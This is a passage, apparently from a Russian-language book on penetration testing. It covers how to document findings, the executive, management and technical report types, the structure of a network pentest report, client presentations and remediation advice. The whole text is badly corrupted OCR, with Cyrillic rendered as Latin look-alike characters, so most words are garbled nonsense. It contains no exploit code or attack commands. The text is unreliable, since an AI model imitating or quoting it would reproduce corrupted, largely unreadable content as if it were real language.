Mepbl U PEKOMEH/IAINH, TIpeljlaraeMble /11l yCTPaHeHUsI BbISIBIEHHbIX YSI3BUMOCTEH.
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OHu TakKe J0JKHBI ObITh BKJIIOYEHBI B OTYET, YTOOBI KOHCY/IbTaTUBHAS TPYIIIIA 110
BOCCTAHOBJIEHMIO COOTBETCTBYIOIEN OPraHM3al[ii MOTJIM UX UCIIOJIb30BaTh. [laHHblii
BUJI IESITETLHOCTH SIBJISIETCST IOBOJIBHO CJIOFKHBIM | IO COOOPaKEHUAM O€30ITacHOCTH
Tpebyer yriayOIeHHOro 3HaHus 11eJIeBOM MHMPACTPYKTYPBL

B nocsietyiomnx pasiesiax Bbl MOJYUNTE TOJHBIE CBEJIEHUS O TOM, KaK TIOJTOTOBUTH
JOKYMEHTAIII0, OTYeT U TIpeseHTalo. [laxke HeboibInas ommbKa B OTYeTe MOKET TIPH-
BECTH K I0puandeckoil npobaeme. Co3aHHbIi OTYET JOJKEH COOTBETCTBOBATH BAIIMM
BBIBOJIAM U MTOKA3bIBATH OOHAPY KEHHBIE B I[EJIEBOIT CPejie MOTEHIMATbHbIE HEIOCTATK.
Eciu B TpeboBaHusIX KIMeHTa ecTh 0co0ble YCIOBUs, UX clleflyeT yKasaTh. Kpome Toro,
B OTYETE HYKHO YETKO IIPOIIMCATH METOABI PabOThI 3JI0YMbIILIEHHUKA, IIPUMEHIEMbIE
UM MHCTPYMEHTHI 1 CPEICTBA, a TAKKE CIIMCOK 00HAPY/KEeHHBIX ya3BuMocteil. Ipexie
BCETO BbI JIOJIKHBI COCPENOTOUNTHCS Ha C1abbIX MECTaX CHCTEMBI, a He Ha 00bsICHEHUU
[IPOLIE/LYP, UCITOIB3YEMbIX [IJist OOHAPY KEHUST ITUX CTa0bIX MECT.

TexHnyeckue ycnosus

Tpebyercst HOYTOYK WM HACTOJBHBIN KOMITBIOTED ¢ MUHIMAJbHBIM 00HEMOM OTIepa-
TUBHOI mamaTu 6 [6aiit, yeTbipexbaaepusplii mpoueccop u 500 I'baiit MecTa Ha JKeCTKOM
acke. B kauecTse onepaionHoii cucremsl ucroabsyercs Kali Linux 2018.2 wm 2018.3.
Oma MosKeT OBITH YCTAHOBJIEHA KaK Ha JKECTKHUIT NCK, TaK U B KAYeCTBE BUPTYATbHON
MamuHbl. CrcTeMa Takske MoskeT 3arpyskaTbest ¢ SD-kapTst nau ¢ USB-nakommress.

JIOKyMEHTaLMs 1 NPOBEPKa pe3ybTaToB

B 6obLIMHCTBE ciydaes, 4ToOb yOeUTHCA B TOM, YTO BALIU PE3yJ/IbTaThl CCTBUTEILHO
[PUTO/HDI /ISl UCIOIb30BaHu, HOTpedyercs riyboKas IPOBepKa ysI3BUMOCTH. Y CHIMS
10 MUHUMU3ALMH TI0CAEACTBUH MOTIYT GBITh OYEHb J0POrOCTOSIIMMHE, IO3TOMY IIPOBEpPKa
YS3BUMOCTH SIBJISIETCSI KPUTUYECKU BasKHOI 3aaueil. B Hamell mpakTuke ysxe ObLI0O He-
CKOJIBKO CUTYAIMii, KOT/A JIIOIM POCTO 3aITy CKaJI MHCTPYMEHT, MOJTy4ajn Pe3yJIbTaThl
U IPEACTABIISAIN UX HEIIOCPENCTBEHHO CBOMM KJIMeHTaM. Takas 6e30TBeTCTBEHHOCTD
U OTCYTCTBUE KOHTPOJIA MOXKET IIPUBECTU K CEPbE3HDIM II0CIEACTBUAM U K KPaXy Balleil
Kapbepbl. Kpome Toro, HeBepHble CBeJeHus, [0IyYeHHbIe OT UCIILITATENS Ha IPOHUK-
HOBEHUe, MOTYT [OCTaBUTh I10J] yTPO3y KOPPEKTHYIO paboTy caMOil CUCTEMbI KJIMEHTA,
Tak Kak OH OyJeT JyMaTb, 4TO cUCTeMa 3aniuiieHa. [l09ToMy B TECTOBBIX AaHHBIX
He TOJKHO OBITh OIMMOOK M HECOOTBETCTBUI.

Huske npuBeaeHpl HECKOIBKO POIEAYP, KOTOPBIE MOTYT TIOMOYb BAM B IOKYMEHTH-
POBAHUU U IPOBEPKE PE3YIbTATOB TECTA.

O 3anuceiBaiire Bce 3ameTku. Creaiite moApoOHbIE 3aMETKU O KaskKIOM IIare, KO-
TOPBII BBI cllesiaiv BO BpeMst cOopa uHbopmanun, 00HapyKeHUsI, TEPEUNCIeHNS,
COTIOCTABJIEHN S, 9KCILIYATAIIUH YSI3BUMOCTEH, 9CKaJAIUK MPUBUJIETUI — HA BCEX
aTarnax Mnpoiiecca TeCTUPOBaHUs Ha TPOHUKHOBEHME.
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CocraBbre madaon 3ameTok. Crenaiite mabIoH 3aMeTOK JIUIS KaXK/I0TO HHCTPY-
MEHTa, KOTOPBIN BBI MpUMeHsieTe. B mabioHe T0JKHbBL ObITh YETKO TPOTIHCAHDI
11eJIb, BAPUAHTDI BBITIOJTHEHUSI KCCIIEA0BAHUS U TPODUIIU, BBIOPAHHbIE TSI [IEJIEBOIT
OIIEHKH, a TAKIKE JIOJZKHO OBITH MECTO JIJIsI 3AIUCH COOTBETCTBYIONIUX PE3YJIbTATOB
tTectupoBanus. Kpome Toro, mepes TeM, Kak /ieJiaTh OKOHYATEIbHBIH BBIBOJL TIO
pesyJbraTaM paboThl Kaik0TO UHCTPYMEHTA, IIOBTOPUTE TECT 110 KpaliHeil Mepe
nBak bl Takum 06pa3oM, BbI TIOATBEPAUTE PE3YIbTATHI TPOBEACHHBIX MCTIBITAHUI
u 3acTpaxyete cebst OT BCeX HEMPEABUACHHBIX cuTyarinii. Hampumep, eciu BbI cKa-
HEUPyeTe TOPTHI € MOMOTIHIO WHCTPYMeHTa Nmap, cienyeT paspaborarh mabaoH co
BCEMU HEOOXOMMBIMU PA3/Ie/IaMU, KACAIOTIUMUCS TIEJTU UCIOIb30BAHMUS, 1[EIEBOTO
X0CTa, TTapaMeTPOB BhITIOJIHEeHUsT 1 ipoduieit (obuapykenue caiyskOb1, Tutn OC,
MAC-azpec, OTKpPBITBIE TIOPTHI, THIT YCTPONUCTBA U T. /I.), U COOTBETCTBEHHO JIOKY-
MEHTHUPOBATH PE3YIbTATHI PAGOTHI MHCTPYMEHTA.

lFapanrtupyiite Hage:xHOCTh. [lonaraTbcsl HA OIUH MHCTPYMEHT (HANPUMED, JJIS
c6opa nHGOPMAIUT) HEPA3YMHO. JTO MOKET IPUBECTU K HETOUHOCTAM B BallleM
TECTUPOBAHUYN HA MPOHUKHOBEHME. MBI HACTOSTEIBHO PEKOMEH/IYEeM BaM TOCJIe-
JIOBATEJbHO MTPOBECTU KAXKBIN TECT ¢ TPUMEHEHNEM KaKk MUHUMYM JIBYX Pa3HbIX
HHCTPYMEHTOB COOTBETCTBYIONIETO MPoduis. DTo 06€CIeunT MpOo3pPAuHOCTh TIPO-
1iecca BepuUKaIIK, MOBbIIIIEHUE TIPOU3BOIUTENBHOCTH U yMEHbIIIEHNE KOJNYECTBA
JIOKHBIX cpabatbiBammit. Kpome Toro, T/1€ 9T0 BOBMOIKHO, CTOUT MPOBEPUTH HEKOTO-
pble YCJIOBUS BPYUYHYIO M UCTIOJIb30BATh CBOW 3HAHUS U OTIBIT JIJIsl TIPOBEPKU BCEX
MIOJIyYeHHBIX Pe3yJIbTATOB.

Tunbl oTYETOB

TTocte cbopa ¥ MPOBEPKHU PE3YIHTATOB TECTA U TIEPE]T OTITPABKOTT WX T[eJIEBOI 3arHTEPe-
COBAHHOI CTOPOHE BBI JIOJIKHBI COOPATH UX B TIOCJACI0BATEIBHBII U CTPYKTYPUPOBAHHBIIT
order. CyIecTByeT TPU Pa3JINYHBIX TUIIA OTYETOB; KaXK /bl U3 HUX UMEET CBOU COO-
CTBEHHBIE CXeMY M TIJIaH, COOTBETCTBYIOIINE NHTEepecaM IPe/IPUSTHS, yIaCTBYIOIIErO
B ITPOEKTE TECTUPOBAHUS HA TPOHUKHOBEHNE!

Q
Q
Q

UCIOJIHUTEIbHBIN JIOKJIAT,
OTYEeT JIJIsI PYKOBOJICTBA;

TeXHUYECKUIT OTUET.

ITHU OTYETHI TOTOBSITCSI B COOTBETCTBUN C YPOBHEM TEXHUYECKUX 3HAHUU U CIIO-

COOHOCTBIO KJIMEHTA MOHATH IlepeJaBaeMylo IeHTectepoM uHopManuio. lanee Mbl
pPaccMOTPUM BCe TUIIBI OTYETA M OCHOBHbIE 3JIEMEHTBI CTPYKTYPbI OTUETHOCTH, KOTOPbIE
MOTYT HOTPeOOBATHCS /ISt JOCTUKEHUS Ballleil 1eJiu.

OTyYeTbl AOMKHBI COOTBETCTBOBATL NOMINTUKE Hepa3srnaweHud, opuanvyecknm
AOroBOPEHHOCTAM U COrnaweHunto 0 TeCtTMpoBaHUM Ha NPOHUKHOBEHUE.
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McnonHUTENbHbIN Aoknaj

VcnonHnuTebHbIN JOKIa IIpeAcTaBiser co0oil OAUH U3 BUIOB J0K/IaAa 00 OLeHKe.
I10 Hanboiee kpaTkas (opMa JOK/Iaj1a, CoAeprKalias ¢ TOUKU 3PeHUst OM3HeC-CTpaTeruu
0011TyI0 MHPOPMAIIMIO 0 Pe3yJIbTaTax TECTUPOBAHM Ha MPOHUKHOBeHMEe, OTUeT TMojI-
TOTOBJIEH /i pyKoBoauTeseii yporsa C B pamkax 1eseBoii opranusaru (CEO, CTO,
CIO u 1. 1.). B HeM 10K HBI GbITh TaKKe OCHOBHBIE Pas/ieJIbl.

Q Iens npoekra. OnpesesgerT B3aUMHO COTJIACOBAaHHBIE MEKY BaMU 1 BAITUM KJIHU-
€HTOM KPUTEepUH /U1l IPOEKTa TeCTUPOBAHUS Ha IPOHUKHOBEHUE.

0O Kraccudukaiys pucKkoB ya3BUMOCTH. B 9TOM pasziesie 00bsCHSIOTCS YPOBHU PUCKA
(KpUTUYECKU, BBICOKUT, CPeJTHUHN, HU3KWI 1 MH(POPMAIIMOHHbIN ), OTPaKEHHbIE B OT-
yere. TH YPOBHU HOJGKHBI OBITH YeTKO ANMdEePEHIIMPOBAHbI 10 CTENEHU TSKECTH
U JIOJKHBI OTPAKATh PUCKH HAPYTIEHUsT Oe30TTACHOCTH.

Q Pesome. B aTOM pasjiesie KpaTKO OIKCHIBAIOTCS 11eJIb U 3a/1a4y TeCTUPOBAHUS Ha
ITPOHUKHOBEHHE B COOTBETCTBUH C OIIPE/IEIEHHON METOJI0IOTHEN. 3/1ech TaksKe (hUKCH-
PYETCS KOJIMYECTBO OOHAPY/KEHHBIX U YCIEITHO AKCIIYaTHPYEMbIX YA3BUMOCTEIA.

O Crarucruka. [TogpoGHO OMMCHIBAOTCS YA3BUMOCTH, 0OOHAPY KEHHbIE B HHPPACTPYK-
Type 1eseBoil cern. OHM TakKe MOTYT ObITH IIPEACTaBJIeHbl B BUAE KPYrOBOM ana-
rpaMMbl WK B JIIOOOM IPYyTrOM HHTYUTUBHO HOHATHOM (hopMaTe.

0O Marpuna puckoB. B aTom paszesne kiaccnduinupyoTcs Bee Hali/ieHHbIC YSI3BUMOCTH,
OIIPENEIAIOTCS. PECYPChI, KOTOPBIE MOIYT OBITh IIOTEHIINAIBHO 3aTPOHYTHI, U B CO-
KpallleHHOM (hopMaTe TepeuncIsiioTCsT PEKOMEH I,

IT0 uzeanbhbiii hopmat orueTHOCTH. UTOOBI OTUET GBI BBIPA3UTETBHBIM, TPU €TI0
MOJITOTOBKE CJTEYET UMETD B BU/LY, YTO BBI He 00SI3aHbI OTPAKATH TEXHIIECKUE PE3YIThb-
TaTBI OIEHKH, & IOJIZKHBI TPEIOCTaBUTD (hakTndeckyio nHhopmanuio. /Jlokaan 1omken
3aHMMATD OT JIBYX /IO YeThIpeX cTpaHuil. IIpumMepsl 1okIa10B cM. B paszese «/lomonnu-
TeJIbHOE YTeHUEe» B KOHIIE 9TOH IIaBbl.

OTyeT ansa pykoBOACTBa

Oryer 1711 PYKOBOJICTBA, KaK [TPaBUJIO, OXBATBIBAET TAKUE BOIIPOCHI, KAK HOPMATUBHOE
peryimpoBanue 1 oleHKa coboieHus Bcex HopM GesomnacHocTu. Ha mpakTuke mc-
IIOJIHUTEJIbHBIN JIOKJIA] CJlelyeT PaclliipUTh, BKJIIOYUB B HETO P/l Pa3jiesloB, KOTOpbIe
MOTYT IIPE/ICTABJIATh MHTEPeC /711 PyKOBOJUTEs el 1 0Ka3aTh IOMOIIIb IIPU BO3MOKHOM
cyebHOM pasbupatenbeTse. Huske MpUBOAATCS OCHOBHBIC Pa3/e/ibl IOKJIA/IA.

Q ocrmxenne coorBeTcTBUA. CONEPIKUT CIMCOK U3BECTHBIX CTAHAIAPTOB U COMTOCTAB-
JISIET KasK/IbII U3 €T Pas3/e/ioB WK TOAPA3/EN0B ¢ TeKYIIel curyarueil B obractu
GesomacHocTr. B HeM cietyer ykasaTh Jito0bie HapyIIeHIs] HOPMaTHUBHBIX MOJIOJKE-
HUIi, KOTOPbIE OBLIN BBISBJIEHBI U KOTOPHIE MOTYT HEMPEIHAMEPEHHO TIO/IBEPIHYThH
OIIACHOCTH 11eJIeBYI0 HH(PACTPYKTYPY U CO3/aTh CEPbE3HYIO YIPO3Y.
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a MeTO].IOJIOI‘I/lﬂ TECTUPOBAHUI. ITO onucaHue JLIOJIZKHO OBITh KpaTKuUM, HO HOleO6-
HBIM, 9TO ITOMOJKET PYKOBOJIUTEJIAM ITOHATH BECHh MUKJ TECTUPOBAHUA Ha IIPOHUK-
HOBEHHE.

Q IlpeanosnoskeHus U orpaHuyeHus. 3/1€Ch ONMCHIBAIOTCA BCE OTPAHUYCHUS U IPYTHE
(hbaxToOpbl, HE TO3BOIMBIIINE UCTILITATEIIO HA ITPOHUKHOBEHHE IOCTUYD OITPEIeJICHHOM
LeJIH.

O VYunpaieHue uaMeHeHUSIMU. VIHOTIa 9TO cuMTaeTCS YacThIO MPOIlecca BOCCTAHOB-
sienust. OTHAKO JIAaHHBIN OTYET B OCHOBHOM COJIEPKUT OIMCAHUE CTPATErnYecKuX
METOJ0B 1 IPOIIELYP, KOTopble 06padarhiBalOT BCe MUBMEHEHUS B KOHTPOJIUPYEMOI
UT-cpene. [Ipeanoxenns 1 peKOMEHAALINH, BEITEKAIOIIUE 13 OLeHKN Ge301acHOCTH
U [O3BOJISIIOIIIE CBECTH K MUHUMYMY BO3IEHCTBUE HEOKUIAHHOTO COOBITHS Ha Cep-
BHC, JIOJIKHBI COOTBETCTBOBATH JIIOOBIM U3MEHEHUSAM B ITPOIIELypax.

O VYnpasiaenne konburypanusamu. OCHOBHOE BHUMAHUE Y/IEJSETCsT COTIIACOBAHHOCTI
(hYHKIMOHAIBLHO# pabOThl M POU3BOAUTEILHOCTH CUCTEMBI. B KoHTekcTe Gesomnac-
HOCTU HYKHO (PUKCUPOBATH JI0ObIe U3MEHEHUSI B CUCTEME, KOTOPbIE MOTYT OBIThH
BHECEHBI B IEJIEBYIO cpeay (ammaparHoe, mporpaMMHoe obecriedere, (husndeckue
aTpUOYTHI U JP.). DTH U3MEHEHUST JOJKHBI KOHTPOJIUPOBATHCS U YUUTHIBATHCS JJIsT
MOJIIEPIKAHMS COCTOSTHUS KOH(PUTYPAIIUY CUCTEMBI.

Bamna 06s13aHHOCTbD, KaK OTBETCTBEHHOTO U IPAMOTHOTO UCIIBITATEeIsl Ha IIPOHUK-
HOBEHUE, — IIPEK/IEe BCETO YTOYHUTD BCE YCJIOBUS PYKOBOJACTBA U TOJIBKO MIOCJE 3TOTO
MPOJIOJIKATD IIUKJI UCIIBITaHMit. DTO AeiicTBIEe, GEe3yCIOBHO, BKIOUAET B ceOs1 MHANBU-
JlyasibHbIe Oece/lbl U COTJIAIIEHUST O KDUTEPUSIX OIEHKH KOHKPETHBIX 1eJIEl, B KOTOPBIX
OTOBAPUBAIOTCS BCE OTPAHUYCHUS U PAMKU MTPOBOAMMOTO UCCIEIOBAHNS, a TAKKe MTyTH
[IPOBEIEHMS UCIIBITAHNS. 3/1€Ch clleflyeT 0OrOBOPUTD BCe AEHCTBYIONINE Ha BPEMsI IIPO-
BeJIeHUs TecTa OrpaHUYEHMs B UCCaeayeMoii cucteMe. JOoJKHBL i GbITh BHOCHMbBIE
U3MEHEHUS TTOCTOSIHHBIMU U MOJKHO JIM MEHSATDH TEKyIllee COCTOSTHUE CUCTEMbI IIPU
BHECEHWU U3MeHeHuii B KoHdurypanuo. Ha ocHoBaum# 5THX (haKTOPOB (opMUpyeTCst
MOHUMAHHUE TEKYIIETO COCTOSTHISI OE30TTACHOCTH B IIEJIEBOI CPEJIe, 1 TTOCTIE TEXHITUECKOI
OLIEHKM MO’KHO JIlaBaTh Kakue-r00 IIPeJIOKEeHUsT 1 PEKOMEHIAlliH.

TexHU4YeCcKun oTyeT

Jlokiiaji 0 TEXHUYECKOIT OlleHKe UIPaeT OueHb Ba)KHYIO POJIb B PElieHUH BOIIPOCOB Oe3-
OTIACHOCTH, TIOJTHSITBHIX B XO/I€ TECTUPOBAHUS HA TPOHUKHOBeHWe. OTYEeT TaKOTO THUTIA
00bIYHO pa3pabaThbIBaeTCs AJIS TEXHUYECKUX PAOOTHUKOB, KOTOPbIE XOTAT IOHATD
OCHOBHBIE (yHKIINN Ge30macHoCTH, oOpabaThiBaeMble 1eIeBON crucTeMoil. B mokmnazne
JIOJIKHBI OBbITH TIOAPOOHO OIMCAHBI JIIOObIE YI3BUMOCTH, TO, KAK MX MOKHO UCIIOIb30BATD,
KaKoe BIMSHUE OHI MOTYT OKa3aTh Ha OU3HEC M KaK MOXKHO Pa3padoTaTh PEIEHNs 11
[peoTBpalleHns J00bIX U3BECTHBIX yrpo3. JJokian o samnmre ceTeBoil mHbpacTpyK-
TYPbI I0JIKEH COOTBETCTBOBATH IPUHIIMIIAM OE30IIaCHOCTH «BCe B OAHOM». [l0 cux mop
MBI ysKe 00CYKIa/Ii OCHOBHBIE Pas/ie/ibl HCIIOJHITEIbHBIX U YIIPABJIEHYECKIX OTUETOB.
B rexHuueckoM 0KJIae MbI ITPEAOCTABJISIEM BCIO BBIIIENIEPEUNCIEHHYIO HH(MOPMAIIUIO
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B paClIMpEHHOM BH/IE. KpOMe TOTO, B TEXHUYECKHUIT OTUET CJIeIyeT BKIIOYUTD Cllena/lb-
HbI€ TEMbI, KOTOPbI€ MOI'YT BbI3BaTh 0COOBII NHTEpEC y TEXHUYECKOM TPYIIIIbI 1IeJIEBOM
Opranmn3ammnn. Wnuorma takue BOIIPOCHI, KaK II€JIN TTPOEKTa, K]IaCCI/I(l)I/IKaHI/IH PUCKOB
YA3BUMOCTH, MaTpHIla PUCKOB, CTATUCTHUKA, METOLO0JIOTHUA TECTUPOBAaHMA, JOIIYIIEHUA
1 OTrpaHnY€eHusd, TaKKe ABJIAIOTCA YaCTbIO TEXHNUYECKOTO OTUETA. TexHuueckuii orTyer
COCTOMT M3 CJIEAYIONINX Pa3/1€JI0B.

O Bomnpocsl 6e3onacHocT. Borpockl 6e30MacHOCTH, MOAHIATHIE B TIPOIECCE TECTH-
pOBaHUsI Ha TPOHUKHOBEHUE, JIOJUKHBI OBITh TIOAPOGHO TIporucanbl. IToaToMy /st
Ka’K/[0T0 TIPUMEHSIEMOTO METO/Ia aTaKi HEOOXOIMMO YKa3aTh CIIUCOK YUACTBYIOIX
B HCCJIEAOBaHU PECYPCOB U ITOCJE/ICTBUA 3TOTO UCCJIEIOBAHNA, NCXOAHbIE TaHHbIE
3a1poca U OTBET, CMOJIEJINPOBAaHHbBIE JJAaHHbBIE 3alIpOCa HA aTaKy U OTBET, MPE/0-
CTaBUTD CCHIJIKY Ha BHEIIHWE UCTOYHUKH JIJISI TPYIIIIBI 10 BOCCTAHOBJIEHUIO U JIATh
npodeccroHaIbHble PEKOMEH/IAIIMN TI0 YCTPaHEHUI0 0OHAPY/KEHHBIX YSI3BUMOCTEH
B ntesieBoti U'T-cpege.

O Kapra ysassumocteid. CoaepKUT CIIMCOK 0OHAPY/KEHHBIX YSI3BUMOCTEH B 11€JI€BOM
UHGPACTPYKTYPE, KaskiIast 3 KOTOPBIX JOJKHA OBITh COMOCTABJICHA ¢ MACHTH(hUKA-
TopoM pecypca (Harpumep, [P-aapecom n nmenem 1enn).

O Kapra 3KCIIIOWTOB. 3/1€Ch NPEIOCTABASETCS CIIMCOK YCHENIHO TIPOBEPEHHBIX DKC-
IJIOATOB, KOTOPbIe paboTaan NPOTHE IeJau. BakHo Takke yImoMsAHYTb, ObLI T
MCTOYHUMK YACTHBIM WU MyOIndHbIM. BO3MOXKHO, HEI10X0 66110 Obl paccKa3aTh
00 NCTOYHMEKE KOZIa DKCILIONTA 1 O TOM, KaK JOJITO OH ObLI JOCTYIIEH.

O TIlepexoBoii onbiT. B aTOM pasjesie ciemyer mMoKa3arTh BCe HaUIydIine pazpaboTku
U OIlepaTUBHbIE TIPOIELYPbl HE30MACHOCTH, KOTOPIX HE XBATHIIO I[EJIEBOIT CHCTEME
IIpU MOTIBITKE TPOHNKHOBeHUsA. Hanpumep, B cpejie KPyIHOTO TIPEANPUATHS pa3-
BEPTBIBAHKE CHCTEMBI HE30MaCHOCTH MOTPAHUYHOTO YPOBHSI MOKET 3 (heKTHBHO
3a6JI0KHPOBATH GOMBITHHCTBO BHEITHUX YTPO3 €IIe /10 WX MPOHUKHOBEHUST B KOP-
MOPATUBHYIO CeTh. B TaKUX pelieHusIX He TpeOYeTCsT TEXHIMUECKOE B3auMOICHCTBIE
C IPOU3BOJICTBEHHBIMU CUCTEMAMU WJIN YCTAPEBITUM KOJIOM.

B 1esiom TeXHUUYECKWI JIOKTA/L TO3BOJISIET COOTBETCTBYIONIMM YJIeHaM 3alHTepe-
COBAHHOI OpPraHW3aIny 03HAKOMUTHCS C PeasTbHOM cuTyaleil Ha Mecte. Takoii oTyer
UTPaeT BasKHYIO POJIb B TIPOIECCE YIPABJICHIS PUCKaMK U, BEPOSATHO, OyeT UCIIOJIb30-
BaThCs s (POPMYJINPOBAHUS MTPAKTUYECKUX 33/1a4 TI0 BOCCTAHOBJICHUIO.

OTyYeT 0 TeCTMPOBAHUN NMPOHNKHOBEHUS B CETb

Tak ke Kak CyIIeCTBYIOT pa3IMyHble TUIILI TECTUPOBAHMS HA IIPOHUKHOBEHHUE, CyIIle-
CTBYIOT Pa3JIMYHBIE THITBI CTPYKTYP OTYETOB. MbI MIpeCTaBU/IN OOIILYI0 BEPCHIO OTYETa
00 UCIBITAHIY HAa TIPOHUKHOBEHUE, KOTOPbII MOKeT OBITh JIOTIOJHEH COOTBETCTBY-
IOIUMU JTAHHBIMU [TPAKTUYECKH JIJIST JTI0O0TO JAPYTOTO THUIIA TECTUPOBAHUS HA TIPOHUK-
HOBeHwe (HarpuMmep, BeG-puiokenus, GpanMayapa, GecripoBOIHON U 0OBIYHOMN ceTn).
B jonosinenue K Ciucky, MpuBeIeHHOMY HUKE, BaM MOHAI00UTCS TUTYJIbHAS CTPAHUIIA,
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e Gy/IeT YKa3aHo Ha3BaHUE KOMITAHWUH, TPOBOJISIIEH TECTUPOBAHKE, THIT OTYETA, /1aTa
CKaHWPOBAHWUsI, MMsI aBTOPA, HOMEP PEIaKI[K JOKyMeHTa 1 KpaTkast wH(opMmarus 00
ABTOPCKUX MPaBax U KOHPUACHIINAIbHOCTH.

Hwske mpuBoasiTCS MMyHKTHI OTYETA O TECTUPOBAHUN HA TIPOHUKHOBEHME B CETH!
TTPaBOBBIE MTOJOKEHNS;

coriarienre 00 UCIBITAHUT Ha TIPOHUKHOBEHHE;

BBE/ICHUE;

11€JTh TTPOEKTA;

JIOTTYIIEHUST 1 OTPAHNYEHNUS;

1IKaja PUCKOB yS3BUMOCTH;

yIIpaBJigioliee Pe3ioMe;

MaTpPHUIIA PUCKOB;

MEeTO/IKA TeCTUPOBAHNS;

yrposa 6e30macHOCTH;

PEKOMEHIAIINT;

KapTa ysI3BUMOCTEH;

KapTa 9KCILJIOUTOB;

OTIEHKA COOTBETCTBUS;

yIpasjeHne U3MEeHCHUSIMUY;

repesI0BOIl OTIbIT;

I Iy Iy Iy Iy Sy oy vy iy Ay Ay Iy By

IIPUJIOKEHMSL.

Kak BbI MOKeTE BUIETD, MbI O0bEIHHIIN BCE TUITBI OTYETOB B OJ[H MOJHBINA OTYET
€ KOHKPETHOW CTPYKTYypoil. Kaskiblit 13 aTHX pa3/ieloB MOKET UMETh COOCTBEHHBIE
COOTBETCTBYIOIIHIE TIOIPA3ENTBI, KOTOPLIE MOTYT HosIee MoAPOOHO KIacCubuImpoBaTh
pesyJibTaThl Tecta. Hampumep, B IPUIOKEHHUSIX MOTYT ObITh TIEPEYNCIEHBI TEXHUUECKUE
NEeTATN 1 ITAaHHBIE 00 aHATI3e MPOIecca TECTUPOBAHMS, KYPHAIOB €SI TETbHOCTH, TC-
XOJIHBIE JIAHHbIE U3 PA3JTMYHBIX HHCTPYMEHTOB OE301IaCHOCTH, JIETAJIH TPOBEIEHHOTO
HCCIIEIOBAHUS, CCHUTKU Ha JTIOOBIE MHTEPHET-UCTOYHUKHN U Tyioccapuit. B 3aBucumocTu
OT 3aIpallliBAEMOTO BAITUM KJIMEHTOM THIIA OTYETA BBI JIOJIZKHBI e1lle JI0 Hayasra UCTTbI-
TAHUI TOHATH BCE aCHEKThI IPOBOIMMOTO TeCTa Ha IIPOHUKHOBEHHE.

[NoaroToBka npeseHTaumu

g ycrennoro mpoBejieHNs IPe3eHTAIUK 110JIe3HO MOHUMATh TeXHUYeCKue BO3-
MOKHOCTH W T[eJTM 3aKa39UKOB 9TOTO MCCAEOBAHM. BaM Hy:KHO OYeT MPemoHecTH
MaTepuasl B COOTBETCTBUU ¢ TPEOOBAHMSIMU 3aKA3YNKa, UHAYE BB MOJKETE CTOJKHYTHCSI
¢ HeraTMBHON peaxiueil. Baria kioueBad 3a/1aua — 3aCTaBUTh KJIUEHTA [TOHATD [TOTEH-
[UaTbHble (haKTOPHI PUCKA, TPOISIIIE 00TACTSIM, KOTOPbIE BbI TecTupyeTte. Hamprimep,
crenyaaucTaM Ha UCIIOJIHUTEIbHOM YPOBHE MOXKET He XBaTUTh BPEMEHU Ha U3ydeHUe
BCEX JleTajieil BEKTOPOB aTaKi METOAAMH COIMAIbHOI MHKEHEPHH, HO UM Oy/IeT MHTepec-
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HO y3HaTh TEKYIee COCTOSIHUE Oe30IIaCHOCTU U TO, KaKKe MePbI JOJIKHbI ObITh IPUHATHI
JIJIsI TIOBBIIIEHUST YPOBHSI O€30TTaCHOCTH.

XoTst (hopMasIbHO TIPOTIEYPHI [IJIST CO3AHMS U TIPEICTABJIEHUST PE3YIbTaTOB HET,
BaM HEOOXOAUMO TIPUAEPKUBATHCS MTPOGDECCHOHATBHOTO TOAX0/a, YTOOB! YIOBIETBO-
puth TpeGOBAHS 3aKa34YNKOB. Bbl 00s13aHBI U3YUHTH U TIOHATD IEJIEBYIO CPE/LY, OIIEHUTh
YPOBEHb KBAIN(DUKAIINN TEXHUIECKUX CIEIIUATUCTOB U TIOMOYb MM Y3HATD BAC, a TAKKE
OTIPE/IENTUTH OCHOBHBIE (DOH/IBI OPTaHU3AIUH.

VKasaHue Ha HEJOCTATKHM TEKYIIEro yPOBHs 0e30IIaCHOCTH U BBISABJIEHHUE BCEX
yHSBI/IMOCTeﬁ IIOMOJKET BaM ITOATOTOBUTDH Ka4eCTBEHHBIN 1 HpO(l)eCCI/IOHaJIbeIﬁ OTYeT.
HOMHI/ITG, 4YTO BbI JIOJIZKHBI ITPUIEPIKUBATHCA ITOJTYUYEHHDBIX BaMU (baKTOB U1 BbIBO/1IOB, /10-
Ka3bIBaTh UX HA TEXHUYECKOM YPOBHE 1 COOTBETCTBYIONIMM 00Pa3oM KOHCYJIbTHPOBAThH
KOMaHJLy 110 BocCTaHOBJIeHUIO. [T0CKOJIbKY BCe 3TO Mo/IpasyMeBaeT HemoCpeICTBEHHOE
ob1eHre, HACTOSITEIbHO PEKOMEHYeM 3apaHee IOArOTOBUTHCS K OTBeTaM Ha Ji00bie
BOIIPOCHI, TIOJIKPEILIsist X hakTamu 1 udpamu.

[Npoueaypbl Nocne TeCTUpOBaHUS

MepsI 10 BOCCTAHOBJICHITO, KOPPEKTUPYIOIMINE MIATH ¥ PEKOMEHAAIINN — 9TO TIOHSATHS,
OTHOCSIIUECS K IIPOIIEyPaM, IIPOBOAUMBIM TIOCJIE ITPOBE/IeHNs HCIbiTaHuil. Bo Bpemst
ATUX MPOIIEYP BBl BBICTYIIAaeTe COBETHIKOM I'DYTIIIBI TI0 BOCCTAHOBJICHWIO B TI€JIEBOI
opranuzanuu. B aToM KadecTBe BaM MOXKeET TTOTPeOGOBATHCST B3AUMO/IEHICTBOBATH C Pa3-
JINYHBIMU CHEIMATUCTAMU C PA3HbIM YPOBHEM 3HAHWI U onbIToM. [loaTomy nmeiiTe
B BUJLY, YTO Balll BHEITHWI BUJI U HABBIKK PA0OTHI B CETH MOTYT UMETh OOJIBIIOE 3HA-
genne. Kpome Toro, HeBO3MOKHO 00/1a/1aTh BCEMU 3HAHUAMME, TPEOYEMBIMHU 11€JIEBOiT
N T-cpenoit, 0co6eHHO ecJi BBl He CIEIMANNCT B 9TOH objact GusHeca. B Takux
curyaiustx 6e3 Kakoii-i1nbo MOJIEPKKU CO CTOPOHDI TPYIIIBI SKCIIEPTOB JOBOJIHHO
CITOKHO 06pabaThiBaTh U UCTIPABJIATH KOHKPETHBIN YA3BUMBIN pecypc. Mbr paspabo-
TaJIN HECKOJIBKO OOIINX TIPABIII, KOTOPBIE MOTYT TIOMOYb BaM B Pa3bsiCHEHUHU Ba)KHBIX
pPeKOMeH Al BallleMy KJIUEHTY.

Q IlepecmoTpute cxeMy CeTH U IIPOBEPbTE YCJIOBUS IKCILIyaTallni HA YSI3BUMbIX pe-
cypcax, KOTopble YKa3aHbI B OTUeTe.

